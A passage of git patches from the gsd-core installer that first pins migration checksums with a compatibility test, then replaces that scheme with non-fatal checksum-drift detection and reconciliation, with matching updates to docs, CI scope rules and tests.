legacyChecksums?: string[]; runtimes: string[]; scopes: string[]; destructive: boolean; @@ -110,6 +112,10 @@ const migration: InstallerMigration = { title: 'Remove legacy Codex hooks.json GSD hook registrations', description: 'Remove legacy Codex hooks.json GSD hook registrations after config.toml migration.', introducedIn: '1.50.0', + checksum: 'sha256:5ce55294aa02f25758f604a569c899a6d2d060299189f5f447f68d8033157058', + legacyChecksums: [ + 'sha256:41f1545704dc72dfc3ab019207677a8652e389b200e8c450d52317df5bc198da', + ], runtimes: ['codex'], scopes: ['global', 'local'], destructive: true, diff --git a/src/installer-migrations/003-rename-get-shit-done-to-gsd-core.cts b/src/installer-migrations/003-rename-get-shit-done-to-gsd-core.cts index 13729c737..3db761dd9 100644 --- a/src/installer-migrations/003-rename-get-shit-done-to-gsd-core.cts +++ b/src/installer-migrations/003-rename-get-shit-done-to-gsd-core.cts @@ -48,6 +48,7 @@ interface InstallerMigration { title: string; description: string; introducedIn: string; + checksum: string; scopes: string[]; destructive: boolean; plan(ctx: MigrationPlanContext): MigrationAction[]; @@ -80,6 +81,7 @@ const migration: InstallerMigration = { 'After the config dir rename from get-shit-done/ to gsd-core/ (#604), remove prior-manifest-managed files ' + // gsd-allow-legacy-name 'from the stale legacy directory during install (framework rollback restores them if install fails). User-added files are preserved.', introducedIn: '1.2.0', + checksum: 'sha256:3a9f1d97f64097fb313203d19c6d93a187a38df61dd299afa5eef73e16124e95', scopes: ['global', 'local'], destructive: true, plan(ctx: MigrationPlanContext): MigrationAction[] { diff --git a/tests/ci-test-scope.test.cjs b/tests/ci-test-scope.test.cjs index 2ce8d4f1d..be00683ce 100644 --- a/tests/ci-test-scope.test.cjs +++ b/tests/ci-test-scope.test.cjs @@ -56,9 +56,18 @@ describe('ci-test-scope.cjs', () => { assert.strictEqual(result.code_changed, true); assert.strictEqual(result.full_matrix, true); assert.ok(result.targeted_tests.includes('tests/install.test.cjs')); + assert.ok(result.targeted_tests.includes('tests/installer-migration-checksum-compat.test.cjs')); assert.ok(result.targeted_tests.includes('tests/release-tarball-smoke.install.test.cjs')); }); + test('ADR-457 installer source changes wake scoped CI and checksum compatibility guard', () => { + const result = scopeFor(['src/installer-migrations/000-first-time-baseline.cts']); + assert.strictEqual(result.code_changed, true); + assert.strictEqual(result.full_matrix, true); + assert.ok(result.targeted_tests.includes('tests/installer-migration-checksum-compat.test.cjs')); + assert.ok(result.windows_tests.includes('tests/installer-migration-checksum-compat.test.cjs')); + }); + test('missing required CLI values fail with usage', () => { const r = spawnSync(process.execPath, [SCRIPT, '--files'], { cwd: ROOT, diff --git a/tests/fixtures/installer-migrations/published-checksums.json b/tests/fixtures/installer-migrations/published-checksums.json new file mode 100644 index 000000000..d7784748e --- /dev/null +++ b/tests/fixtures/installer-migrations/published-checksums.json @@ -0,0 +1,49 @@ +{ + "_comment": "Published installer migration checksums that must remain accepted by future releases. If an existing migration implementation changes, preserve compatibility here via legacyChecksums or create a new fix-forward migration id.", + "migrations": { + "2026-05-11-first-time-baseline-scan": { + "published": [ + { + "version": "1.2.0", + "checksum": "sha256:34608ea4e2f4e1c53b069604892860e603600d8573cc6a5584e4194044b48e67" + }, + { + "version": "1.3.0", + "checksum": "sha256:4ec58d35b30dbf39cc56e3972146086d8d31861ecd800cf0b37a7aa94fe74c2a" + } + ] + }, + "2026-05-11-legacy-orphan-files": { + "published": [ + { + "version": "1.2.0", + "checksum": "sha256:4488e38c127a5225b31016918bcbc85ba3fd3139291ad407b94e76c03c0b89d3" + }, + { + "version": "1.3.0", + "checksum": "sha256:e492698748a2436a12a55f0940f539b9bf651d8ffcac6f60cd856a6dabd6788c" + } + ] + }, + "2026-05-11-codex-legacy-hooks-json": { + "published": [ + { + "version": "1.2.0", + "checksum": "sha256:41f1545704dc72dfc3ab019207677a8652e389b200e8c450d52317df5bc198da" + }, + { + "version": "1.3.0", + "checksum": "sha256:5ce55294aa02f25758f604a569c899a6d2d060299189f5f447f68d8033157058" + } + ] + }, + "2026-06-02-rename-get-shit-done-to-gsd-core": { + "published": [ + { + "version": "1.3.0", + "checksum": "sha256:3a9f1d97f64097fb313203d19c6d93a187a38df61dd299afa5eef73e16124e95" + } + ] + } + } +} diff --git a/tests/installer-migration-checksum-compat.test.cjs b/tests/installer-migration-checksum-compat.test.cjs new file mode 100644 index 000000000..790bf208d --- /dev/null +++ b/tests/installer-migration-checksum-compat.test.cjs @@ -0,0 +1,94 @@ +'use strict'; + +const test = require('node:test'); +const assert = require('node:assert/strict'); +const fs = require('node:fs'); +const os = require('node:os'); +const path = require('node:path'); + +const { + computeInstallerMigrationChecksum, + discoverInstallerMigrations, + planInstallerMigrations, +} = require('../gsd-core/bin/lib/installer-migrations.cjs'); +const { cleanup } = require('./helpers.cjs'); + +const FIXTURE = require('./fixtures/installer-migrations/published-checksums.json'); +const MIGRATIONS_DIR = path.join(__dirname, '..', 'gsd-core', 'bin', 'lib', 'installer-migrations'); + +function createConfigDir() { + const configDir = fs.mkdtempSync(path.join(os.tmpdir(), 'gsd-migration-checksum-compat-')); + fs.writeFileSync( + path.join(configDir, 'gsd-file-manifest.json'), + JSON.stringify({ version: 'compat-fixture', timestamp: '2026-06-04T00:00:00.000Z', mode: 'full', files: {} }, null, 2), + 'utf8' + ); + return configDir; +} + +function writeAppliedState(configDir, migration, checksum, version) { + fs.writeFileSync( + path.join(configDir, 'gsd-install-state.json'), + JSON.stringify({ + schemaVersion: 1, + appliedMigrations: [ + { + id: migration.id, + checksum, + appliedAt: '2026-06-04T00:00:00.000Z', + packageVersion: version, + journal: 'gsd-migration-journal/published-compat-fixture.json', + }, + ], + }, null, 2), + 'utf8' + ); +} + +function planContextFor(migration) { + return { + runtime: Array.isArray(migration.runtimes) && migration.runtimes.length > 0 ? migration.runtimes[0] : 'claude', + scope: Array.isArray(migration.scopes) && migration.scopes.length > 0 ? migration.scopes[0] : 'global', + }; +} + +test('shipped installer migration checksums remain accepted for upgrade compatibility', () => { + const migrations = discoverInstallerMigrations({ migrationsDir: MIGRATIONS_DIR }); + const byId = new Map(migrations.map((migration) => [migration.id, migration])); + const fixtureIds = new Set(Object.keys(FIXTURE.migrations)); + + for (const migration of migrations) { + assert.ok( + fixtureIds.has(migration.id), + `current migration must be pinned in published-checksums.json: ${migration.id}` + ); + } + + for (const [migrationId, fixture] of Object.entries(FIXTURE.migrations)) { + const migration = byId.get(migrationId); + assert.ok(migration, `published migration fixture no longer exists: ${migrationId}`); + + const currentChecksum = computeInstallerMigrationChecksum(migration); + assert.ok( + fixture.published.some((entry) => entry.checksum === currentChecksum), + `${migrationId} current checksum ${currentChecksum} is not pinned in published-checksums.json` + ); + + for (const { version, checksum } of fixture.published) { + const configDir = createConfigDir(); + try { + writeAppliedState(configDir, migration, checksum, version); + assert.doesNotThrow( + () => planInstallerMigrations({ + configDir, + migrations: [migration], + ...planContextFor(migration), + }), + `${migrationId} must accept checksum ${checksum} from ${version}` + ); + } finally { + cleanup(configDir); + } + } + } +}); From cdd78bd2aabf82c250ba4cad13ad58e5f7859d33 Mon Sep 17 00:00:00 2001 From: Tom Boucher Date: Thu, 4 Jun 2026 13:44:05 -0400 Subject: [PATCH 05/94] fix(#670): self-healing recovery for installer-migration checksum drift (#675) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Editing the body of an already-released installer migration drifts its computed checksum (it hashes plan.toString()). The integrity guard then hard-aborted every prior install on upgrade with "applied migration checksum changed" — a 100% reproducible blocker (v1.3.0, all platforms). Already-applied migrations are filtered out of `pending` and never re-run, so a drifted checksum is functionally inert. ADR-0008 anticipates checksum-mismatch state as something the install-state layer must handle gracefully (plan -> apply -> recover/report), not abort on. This supersedes the published-checksum allowlist merged in #674 (per-release maintenance debt — every historical checksum hand-pinned, still throws for any unregistered value) with a general, self-healing recovery: - Replace the throwing guard with non-fatal `collectAppliedChecksumDrift`, surfaced on `plan.checksumDrift`. - Reconcile drifted stored checksums durably on the next state write (`reconcileDriftedChecksums`), idempotently (no perpetual writes). - Relocate the "shipped migration bodies are immutable" rule to a CI baseline test that locks every shipped migration's checksum and fails on body drift — where #615 should have been caught, instead of blocking users. Removes #674's legacyChecksums field, per-migration checksum pins, published-checksums.json fixture, and compat test. Fixes #670 Co-authored-by: Claude Opus 4.8 --- .changeset/fierce-lynx-howl.md | 5 - .changeset/humble-ibex-jump.md | 5 + docs/installer-migrations.md | 17 +- scripts/ci-test-scope.cjs | 3 +- src/installer-migration-authoring.cts | 1 - src/installer-migrations.cts | 100 ++++++--- .../000-first-time-baseline.cts | 6 - .../001-legacy-orphan-files.cts | 6 - .../002-codex-legacy-hooks-json.cts | 6 - .../003-rename-get-shit-done-to-gsd-core.cts | 2 - tests/ci-test-scope.test.cjs | 9 - .../published-checksums.json | 49 ----- ...staller-migration-checksum-compat.test.cjs | 94 -------- tests/installer-migrations.test.cjs | 202 +++++++++++++++++- 14 files changed, 279 insertions(+), 226 deletions(-) delete mode 100644 .changeset/fierce-lynx-howl.md create mode 100644 .changeset/humble-ibex-jump.md delete mode 100644 tests/fixtures/installer-migrations/published-checksums.json delete mode 100644 tests/installer-migration-checksum-compat.test.cjs diff --git a/.changeset/fierce-lynx-howl.md b/.changeset/fierce-lynx-howl.md deleted file mode 100644 index 3f4aabe5a..000000000 --- a/.changeset/fierce-lynx-howl.md +++ /dev/null @@ -1,5 +0,0 @@ ---- -type: Fixed -pr: 674 ---- -Accept published installer migration checksums so Windows users upgrading from 1.2.0 to 1.3.0 do not hit checksum drift failures. diff --git a/.changeset/humble-ibex-jump.md b/.changeset/humble-ibex-jump.md new file mode 100644 index 000000000..1454056cc --- /dev/null +++ b/.changeset/humble-ibex-jump.md @@ -0,0 +1,5 @@ +--- +type: Fixed +pr: 675 +--- +**`npx @opengsd/gsd-core` upgrades no longer abort with "applied migration checksum changed"** — an already-applied installer migration whose recorded checksum drifted (e.g. a shipped body was edited) is now detected and reconciled automatically on the next install, instead of hard-failing the upgrade. Replaces the published-checksum allowlist with general self-healing recovery plus a CI baseline lock. diff --git a/docs/installer-migrations.md b/docs/installer-migrations.md index 124d7bfe0..88f4e96b0 100644 --- a/docs/installer-migrations.md +++ b/docs/installer-migrations.md @@ -121,14 +121,17 @@ Required fields: } ``` -The checksum is calculated from the migration definition. If an applied -migration's checksum changes, the installer must warn and refuse to silently -re-run it. Fix-forward migrations should use a new migration id. +The checksum is calculated from the migration definition. -Migration records may pin a stable `checksum` and list `legacyChecksums` for -checksums already written by published packages. This is only for compatibility -with released install state; new behavior should still ship as a new migration -id rather than mutating an already-applied migration in place. +An already-applied migration is never re-run, so a drifted checksum is +tolerated at runtime: it is collected in `plan.checksumDrift` and reconciled +into install state on the next write, rather than aborting the user's upgrade +(this unblocks upgrades — see issue #670). + +The "shipped migration bodies are immutable" rule is enforced in CI by a +committed checksum-baseline test in `tests/installer-migrations.test.cjs`. +If you need to change the behaviour of a released migration, add a NEW +fix-forward migration id instead of editing the shipped body. ## Migration Record diff --git a/scripts/ci-test-scope.cjs b/scripts/ci-test-scope.cjs index 771aa81be..299491b2b 100644 --- a/scripts/ci-test-scope.cjs +++ b/scripts/ci-test-scope.cjs @@ -64,7 +64,6 @@ const RULES = [ 'tests/install-regressions.test.cjs', 'tests/install-runtime-artifacts.test.cjs', 'tests/install-path-detection.test.cjs', - 'tests/installer-migration-checksum-compat.test.cjs', 'tests/release-tarball-smoke.install.test.cjs', 'tests/runtime-artifact-layout.test.cjs', ], @@ -255,7 +254,7 @@ function classify(files) { let fullMatrix = false; for (const file of files) { - if (['bin/', 'gsd-core/', 'agents/', 'commands/', 'docs/', 'hooks/', 'tests/', 'scripts/', 'src/'].some(p => file.startsWith(p)) || + if (['bin/', 'gsd-core/', 'agents/', 'commands/', 'docs/', 'hooks/', 'tests/', 'scripts/'].some(p => file.startsWith(p)) || file === 'package.json' || file === 'package-lock.json' || (file.startsWith('tsconfig') && file.endsWith('.json')) || file.startsWith('.github/workflows/') || diff --git a/src/installer-migration-authoring.cts b/src/installer-migration-authoring.cts index a09a4fcc5..a859363d7 100644 --- a/src/installer-migration-authoring.cts +++ b/src/installer-migration-authoring.cts @@ -91,7 +91,6 @@ export function validateInstallerMigrationRecord(record: unknown, source?: strin throw new Error(`migration record must declare destructive as a boolean: ${displaySource}`); } validateStringArray(rec, 'runtimes', displaySource); - validateStringArray(rec, 'legacyChecksums', displaySource); requireStringArray(rec, 'scopes', displaySource); if (typeof rec['plan'] !== 'function') { throw new Error(`migration record must include a plan function: ${displaySource}`); diff --git a/src/installer-migrations.cts b/src/installer-migrations.cts index 4133c07ed..95105cd5b 100644 --- a/src/installer-migrations.cts +++ b/src/installer-migrations.cts @@ -208,27 +208,51 @@ function migrationChecksum(migration: MigrationRecord): string { return `sha256:${sha256Text(JSON.stringify(serializable))}`; } -function migrationLegacyChecksums(migration: MigrationRecord): string[] { - return Array.isArray(migration.legacyChecksums) - ? migration.legacyChecksums.filter((checksum): checksum is string => typeof checksum === 'string' && checksum.length > 0) - : []; +// Rewrite the stored checksum of any already-applied entry whose id drifted, so the +// drift is reconciled durably and not re-detected on every subsequent run (issue #670). +// Returns the number of entries actually changed (so callers know whether a write is needed). +function reconcileDriftedChecksums( + appliedEntries: Array>, + checksumDrift: Array<{ id: string; currentChecksum: string }> | undefined +): number { + if (!Array.isArray(checksumDrift) || checksumDrift.length === 0) return 0; + const reconcile = new Map(checksumDrift.map((d) => [d.id, d.currentChecksum])); + let changed = 0; + for (let i = 0; i < appliedEntries.length; i++) { + const existing = appliedEntries[i]; + if (existing && typeof existing.id === 'string' && reconcile.has(existing.id)) { + const next = reconcile.get(existing.id) as string; + if (existing.checksum !== next) { + appliedEntries[i] = { ...existing, checksum: next }; + changed += 1; + } + } + } + return changed; } -function migrationAcceptedChecksums(migration: MigrationRecord): Set { - return new Set([migrationChecksum(migration), ...migrationLegacyChecksums(migration)]); -} - -function assertAppliedMigrationChecksums(applied: Map>, migrations: MigrationRecord[]): void { +function collectAppliedChecksumDrift( + applied: Map>, + migrations: MigrationRecord[] +): Array<{ id: string; storedChecksum: string; currentChecksum: string }> { + const drift: Array<{ id: string; storedChecksum: string; currentChecksum: string }> = []; for (const migration of migrations) { const entry = applied.get(migration.id as string); if (!entry || !entry.checksum) continue; - const accepted = migrationAcceptedChecksums(migration); - if (!accepted.has(entry.checksum as string)) { - throw new Error( - `applied migration checksum changed for ${migration.id as string}; create a new fix-forward migration id` - ); + const currentChecksum = migrationChecksum(migration); + if (entry.checksum !== currentChecksum) { + // An already-applied migration is never re-run (it is filtered out of `pending`), + // so a checksum drift here is functionally inert. A prior release may have edited a + // shipped migration body (see issue #670). Surface it for reconciliation instead of + // hard-aborting the user's upgrade. + drift.push({ + id: migration.id as string, + storedChecksum: entry.checksum as string, + currentChecksum, + }); } } + return drift; } function migrationMatchesContext(migration: MigrationRecord, { runtime, scope }: { runtime: string | null; scope: string | null }): boolean { @@ -461,6 +485,7 @@ interface MigrationPlan { pendingMigrations: MigrationRecord[]; actions: PlannedAction[]; blocked: PlannedAction[]; + checksumDrift: Array<{ id: string; storedChecksum: string; currentChecksum: string }>; } function planInstallerMigrations({ @@ -490,7 +515,7 @@ function planInstallerMigrations({ migrationMatchesContext(migration, { runtime, scope }) ); const applied = appliedMigrationEntries(state); - assertAppliedMigrationChecksums(applied, scopedMigrations); + const checksumDrift = collectAppliedChecksumDrift(applied, scopedMigrations); const pending = scopedMigrations.filter((migration) => !applied.has(migration.id as string)); const actions: PlannedAction[] = []; const blocked: PlannedAction[] = []; @@ -578,6 +603,7 @@ function planInstallerMigrations({ pendingMigrations: pending, actions, blocked, + checksumDrift, }; } @@ -757,6 +783,7 @@ function applyInstallerMigrationPlan({ const state = readInstallState(configDir); const applied = appliedMigrationIds(state); const nextApplied = [...state.appliedMigrations]; + reconcileDriftedChecksums(nextApplied, plan.checksumDrift); const actionsByMigrationId = new Map(); for (const action of plan.actions) { if (action.migrationId && !actionsByMigrationId.has(action.migrationId)) { @@ -819,29 +846,36 @@ function markPendingMigrationsApplied({ plan: MigrationPlan; now?: () => string; }): string[] { - if (!plan || !Array.isArray(plan.pendingMigrationIds) || plan.pendingMigrationIds.length === 0) { - return []; - } + if (!plan) return []; + const hasPending = Array.isArray(plan.pendingMigrationIds) && plan.pendingMigrationIds.length > 0; + const hasDrift = Array.isArray(plan.checksumDrift) && plan.checksumDrift.length > 0; + if (!hasPending && !hasDrift) return []; + const appliedAt = now(); const state = readInstallState(configDir); const applied = appliedMigrationIds(state); - const checksumsByMigrationId = new Map(); - for (const migration of plan.pendingMigrations || []) { - checksumsByMigrationId.set(migration.id as string, migrationChecksum(migration)); - } const nextApplied = [...state.appliedMigrations]; + const reconciledCount = reconcileDriftedChecksums(nextApplied, plan.checksumDrift); + const newlyApplied: string[] = []; - for (const id of plan.pendingMigrationIds) { - if (applied.has(id)) continue; - nextApplied.push({ - id, - appliedAt, - journal: null, - checksum: checksumsByMigrationId.get(id) || null, - }); - newlyApplied.push(id); + if (hasPending) { + const checksumsByMigrationId = new Map(); + for (const migration of plan.pendingMigrations || []) { + checksumsByMigrationId.set(migration.id as string, migrationChecksum(migration)); + } + for (const id of plan.pendingMigrationIds) { + if (applied.has(id)) continue; + nextApplied.push({ + id, + appliedAt, + journal: null, + checksum: checksumsByMigrationId.get(id) || null, + }); + newlyApplied.push(id); + } } - if (newlyApplied.length > 0) { + + if (newlyApplied.length > 0 || reconciledCount > 0) { writeInstallState(configDir, { schemaVersion: 1, appliedMigrations: nextApplied, @@ -933,8 +967,8 @@ export = { acquireInstallMigrationLock, applyInstallerMigrationPlan, classifyArtifact, - computeInstallerMigrationChecksum: migrationChecksum, discoverInstallerMigrations, + migrationChecksum, planInstallerMigrations, readInstallManifest, readInstallState, diff --git a/src/installer-migrations/000-first-time-baseline.cts b/src/installer-migrations/000-first-time-baseline.cts index 0f31541c8..c81f30e6a 100644 --- a/src/installer-migrations/000-first-time-baseline.cts +++ b/src/installer-migrations/000-first-time-baseline.cts @@ -171,8 +171,6 @@ interface InstallerMigration { title: string; description: string; introducedIn: string; - checksum: string; - legacyChecksums?: string[]; scopes: string[]; destructive: boolean; plan: (ctx: PlanContext) => BaselineAction[]; @@ -183,10 +181,6 @@ const migration: InstallerMigration = { title: 'Record first-time installer migration baseline', description: 'Classify existing install surfaces before destructive installer migrations run.', introducedIn: '1.50.0', - checksum: 'sha256:4ec58d35b30dbf39cc56e3972146086d8d31861ecd800cf0b37a7aa94fe74c2a', - legacyChecksums: [ - 'sha256:34608ea4e2f4e1c53b069604892860e603600d8573cc6a5584e4194044b48e67', - ], scopes: ['global', 'local'], destructive: false, plan: ({ configDir, runtime, baselineScan, classifyArtifact }: PlanContext): BaselineAction[] => { diff --git a/src/installer-migrations/001-legacy-orphan-files.cts b/src/installer-migrations/001-legacy-orphan-files.cts index 0f7e7e677..bd3dad449 100644 --- a/src/installer-migrations/001-legacy-orphan-files.cts +++ b/src/installer-migrations/001-legacy-orphan-files.cts @@ -31,8 +31,6 @@ interface InstallerMigration { title: string; description: string; introducedIn: string; - checksum: string; - legacyChecksums?: string[]; scopes: string[]; destructive: boolean; plan: (ctx: MigrationPlanContext) => MigrationAction[]; @@ -48,10 +46,6 @@ const migration: InstallerMigration = { title: 'Remove manifest-managed legacy orphan hook files', description: 'Remove legacy orphan hook files that are still manifest-managed.', introducedIn: '1.50.0', - checksum: 'sha256:e492698748a2436a12a55f0940f539b9bf651d8ffcac6f60cd856a6dabd6788c', - legacyChecksums: [ - 'sha256:4488e38c127a5225b31016918bcbc85ba3fd3139291ad407b94e76c03c0b89d3', - ], scopes: ['global', 'local'], destructive: true, // Retired generated hook files are removed only with manifest-managed diff --git a/src/installer-migrations/002-codex-legacy-hooks-json.cts b/src/installer-migrations/002-codex-legacy-hooks-json.cts index 8032bed09..4e3a8a214 100644 --- a/src/installer-migrations/002-codex-legacy-hooks-json.cts +++ b/src/installer-migrations/002-codex-legacy-hooks-json.cts @@ -48,8 +48,6 @@ interface InstallerMigration { title: string; description: string; introducedIn: string; - checksum: string; - legacyChecksums?: string[]; runtimes: string[]; scopes: string[]; destructive: boolean; @@ -112,10 +110,6 @@ const migration: InstallerMigration = { title: 'Remove legacy Codex hooks.json GSD hook registrations', description: 'Remove legacy Codex hooks.json GSD hook registrations after config.toml migration.', introducedIn: '1.50.0', - checksum: 'sha256:5ce55294aa02f25758f604a569c899a6d2d060299189f5f447f68d8033157058', - legacyChecksums: [ - 'sha256:41f1545704dc72dfc3ab019207677a8652e389b200e8c450d52317df5bc198da', - ], runtimes: ['codex'], scopes: ['global', 'local'], destructive: true, diff --git a/src/installer-migrations/003-rename-get-shit-done-to-gsd-core.cts b/src/installer-migrations/003-rename-get-shit-done-to-gsd-core.cts index 3db761dd9..13729c737 100644 --- a/src/installer-migrations/003-rename-get-shit-done-to-gsd-core.cts +++ b/src/installer-migrations/003-rename-get-shit-done-to-gsd-core.cts @@ -48,7 +48,6 @@ interface InstallerMigration { title: string; description: string; introducedIn: string; - checksum: string; scopes: string[]; destructive: boolean; plan(ctx: MigrationPlanContext): MigrationAction[]; @@ -81,7 +80,6 @@ const migration: InstallerMigration = { 'After the config dir rename from get-shit-done/ to gsd-core/ (#604), remove prior-manifest-managed files ' + // gsd-allow-legacy-name 'from the stale legacy directory during install (framework rollback restores them if install fails). User-added files are preserved.', introducedIn: '1.2.0', - checksum: 'sha256:3a9f1d97f64097fb313203d19c6d93a187a38df61dd299afa5eef73e16124e95', scopes: ['global', 'local'], destructive: true, plan(ctx: MigrationPlanContext): MigrationAction[] { diff --git a/tests/ci-test-scope.test.cjs b/tests/ci-test-scope.test.cjs index be00683ce..2ce8d4f1d 100644 --- a/tests/ci-test-scope.test.cjs +++ b/tests/ci-test-scope.test.cjs @@ -56,18 +56,9 @@ describe('ci-test-scope.cjs', () => { assert.strictEqual(result.code_changed, true); assert.strictEqual(result.full_matrix, true); assert.ok(result.targeted_tests.includes('tests/install.test.cjs')); - assert.ok(result.targeted_tests.includes('tests/installer-migration-checksum-compat.test.cjs')); assert.ok(result.targeted_tests.includes('tests/release-tarball-smoke.install.test.cjs')); }); - test('ADR-457 installer source changes wake scoped CI and checksum compatibility guard', () => { - const result = scopeFor(['src/installer-migrations/000-first-time-baseline.cts']); - assert.strictEqual(result.code_changed, true); - assert.strictEqual(result.full_matrix, true); - assert.ok(result.targeted_tests.includes('tests/installer-migration-checksum-compat.test.cjs')); - assert.ok(result.windows_tests.includes('tests/installer-migration-checksum-compat.test.cjs')); - }); - test('missing required CLI values fail with usage', () => { const r = spawnSync(process.execPath, [SCRIPT, '--files'], { cwd: ROOT, diff --git a/tests/fixtures/installer-migrations/published-checksums.json b/tests/fixtures/installer-migrations/published-checksums.json deleted file mode 100644 index d7784748e..000000000 --- a/tests/fixtures/installer-migrations/published-checksums.json +++ /dev/null @@ -1,49 +0,0 @@ -{ - "_comment": "Published installer migration checksums that must remain accepted by future releases. If an existing migration implementation changes, preserve compatibility here via legacyChecksums or create a new fix-forward migration id.", - "migrations": { - "2026-05-11-first-time-baseline-scan": { - "published": [ - { - "version": "1.2.0", - "checksum": "sha256:34608ea4e2f4e1c53b069604892860e603600d8573cc6a5584e4194044b48e67" - }, - { - "version": "1.3.0", - "checksum": "sha256:4ec58d35b30dbf39cc56e3972146086d8d31861ecd800cf0b37a7aa94fe74c2a" - } - ] - }, - "2026-05-11-legacy-orphan-files": { - "published": [ - { - "version": "1.2.0", - "checksum": "sha256:4488e38c127a5225b31016918bcbc85ba3fd3139291ad407b94e76c03c0b89d3" - }, - { - "version": "1.3.0", - "checksum": "sha256:e492698748a2436a12a55f0940f539b9bf651d8ffcac6f60cd856a6dabd6788c" - } - ] - }, - "2026-05-11-codex-legacy-hooks-json": { - "published": [ - { - "version": "1.2.0", - "checksum": "sha256:41f1545704dc72dfc3ab019207677a8652e389b200e8c450d52317df5bc198da" - }, - { - "version": "1.3.0", - "checksum": "sha256:5ce55294aa02f25758f604a569c899a6d2d060299189f5f447f68d8033157058" - } - ] - }, - "2026-06-02-rename-get-shit-done-to-gsd-core": { - "published": [ - { - "version": "1.3.0", - "checksum": "sha256:3a9f1d97f64097fb313203d19c6d93a187a38df61dd299afa5eef73e16124e95" - } - ] - } - } -} diff --git a/tests/installer-migration-checksum-compat.test.cjs b/tests/installer-migration-checksum-compat.test.cjs deleted file mode 100644 index 790bf208d..000000000 --- a/tests/installer-migration-checksum-compat.test.cjs +++ /dev/null @@ -1,94 +0,0 @@ -'use strict'; - -const test = require('node:test'); -const assert = require('node:assert/strict'); -const fs = require('node:fs'); -const os = require('node:os'); -const path = require('node:path'); - -const { - computeInstallerMigrationChecksum, - discoverInstallerMigrations, - planInstallerMigrations, -} = require('../gsd-core/bin/lib/installer-migrations.cjs'); -const { cleanup } = require('./helpers.cjs'); - -const FIXTURE = require('./fixtures/installer-migrations/published-checksums.json'); -const MIGRATIONS_DIR = path.join(__dirname, '..', 'gsd-core', 'bin', 'lib', 'installer-migrations'); - -function createConfigDir() { - const configDir = fs.mkdtempSync(path.join(os.tmpdir(), 'gsd-migration-checksum-compat-')); - fs.writeFileSync( - path.join(configDir, 'gsd-file-manifest.json'), - JSON.stringify({ version: 'compat-fixture', timestamp: '2026-06-04T00:00:00.000Z', mode: 'full', files: {} }, null, 2), - 'utf8' - ); - return configDir; -} - -function writeAppliedState(configDir, migration, checksum, version) { - fs.writeFileSync( - path.join(configDir, 'gsd-install-state.json'), - JSON.stringify({ - schemaVersion: 1, - appliedMigrations: [ - { - id: migration.id, - checksum, - appliedAt: '2026-06-04T00:00:00.000Z', - packageVersion: version, - journal: 'gsd-migration-journal/published-compat-fixture.json', - }, - ], - }, null, 2), - 'utf8' - ); -} - -function planContextFor(migration) { - return { - runtime: Array.isArray(migration.runtimes) && migration.runtimes.length > 0 ? migration.runtimes[0] : 'claude', - scope: Array.isArray(migration.scopes) && migration.scopes.length > 0 ? migration.scopes[0] : 'global', - }; -} - -test('shipped installer migration checksums remain accepted for upgrade compatibility', () => { - const migrations = discoverInstallerMigrations({ migrationsDir: MIGRATIONS_DIR }); - const byId = new Map(migrations.map((migration) => [migration.id, migration])); - const fixtureIds = new Set(Object.keys(FIXTURE.migrations)); - - for (const migration of migrations) { - assert.ok( - fixtureIds.has(migration.id), - `current migration must be pinned in published-checksums.json: ${migration.id}` - ); - } - - for (const [migrationId, fixture] of Object.entries(FIXTURE.migrations)) { - const migration = byId.get(migrationId); - assert.ok(migration, `published migration fixture no longer exists: ${migrationId}`); - - const currentChecksum = computeInstallerMigrationChecksum(migration); - assert.ok( - fixture.published.some((entry) => entry.checksum === currentChecksum), - `${migrationId} current checksum ${currentChecksum} is not pinned in published-checksums.json` - ); - - for (const { version, checksum } of fixture.published) { - const configDir = createConfigDir(); - try { - writeAppliedState(configDir, migration, checksum, version); - assert.doesNotThrow( - () => planInstallerMigrations({ - configDir, - migrations: [migration], - ...planContextFor(migration), - }), - `${migrationId} must accept checksum ${checksum} from ${version}` - ); - } finally { - cleanup(configDir); - } - } - } -}); diff --git a/tests/installer-migrations.test.cjs b/tests/installer-migrations.test.cjs index 23c436081..4367f8f15 100644 --- a/tests/installer-migrations.test.cjs +++ b/tests/installer-migrations.test.cjs @@ -10,6 +10,7 @@ const { classifyArtifact, discoverInstallerMigrations, INSTALL_STATE_NAME, + migrationChecksum, planInstallerMigrations, readInstallState, runInstallerMigrations, @@ -482,6 +483,46 @@ test('computes each migration checksum once per planned migration', (t) => { assert.equal(checksumReads, 1); }); +test('tolerates an applied-migration checksum drift instead of aborting the upgrade', (t) => { + const configDir = createTempInstall(); + t.after(() => cleanup(configDir)); + + // A migration that a prior release recorded as applied under a DIFFERENT body, + // so the stored checksum no longer matches the current computed checksum. + const migration = migrationRecord({ id: '2026-05-11-remove-old-hook' }); + writeInstallState(configDir, { + schemaVersion: 1, + appliedMigrations: [ + { + id: '2026-05-11-remove-old-hook', + appliedAt: '2026-01-01T00:00:00.000Z', + journal: null, + checksum: 'sha256:stale-pre-1-3-0-value', + }, + ], + }); + + // Planning must NOT throw, must skip the already-applied migration, and must + // surface the drift on the plan for downstream reconciliation. + let plan; + assert.doesNotThrow(() => { + plan = planInstallerMigrations({ + configDir, + migrations: [migration], + scope: 'global', + now: () => '2026-05-11T00:00:00.000Z', + }); + }); + assert.deepEqual(plan.pendingMigrationIds, []); + assert.equal(plan.actions.length, 0); + assert.ok(Array.isArray(plan.checksumDrift)); + const drift = plan.checksumDrift.find((d) => d.id === '2026-05-11-remove-old-hook'); + assert.ok(drift, 'expected checksum drift to be reported for the applied migration'); + assert.equal(drift.storedChecksum, 'sha256:stale-pre-1-3-0-value'); + assert.match(drift.currentChecksum, /^sha256:/); + assert.notEqual(drift.currentChecksum, drift.storedChecksum); +}); + test('classifies large files without loading the whole file through readFileSync', (t) => { const configDir = createTempInstall(); const originalReadFileSync = fs.readFileSync; @@ -1063,7 +1104,7 @@ test('marks zero-action pending migrations as applied', () => { } }); -test('refuses to plan an already-applied migration whose checksum changed', () => { +test('surfaces checksum drift for an already-applied migration without aborting', () => { const configDir = createTempInstall(); try { writeManifest(configDir, {}); @@ -1079,8 +1120,9 @@ test('refuses to plan an already-applied migration whose checksum changed', () = ], }); - assert.throws( - () => planInstallerMigrations({ + let plan; + assert.doesNotThrow(() => { + plan = planInstallerMigrations({ configDir, migrations: [ migrationRecord({ @@ -1089,9 +1131,14 @@ test('refuses to plan an already-applied migration whose checksum changed', () = }), ], scope: 'global', - }), - /applied migration checksum changed/ - ); + }); + }); + assert.deepEqual(plan.pendingMigrationIds, []); + assert.ok(Array.isArray(plan.checksumDrift)); + const drift = plan.checksumDrift.find((d) => d.id === 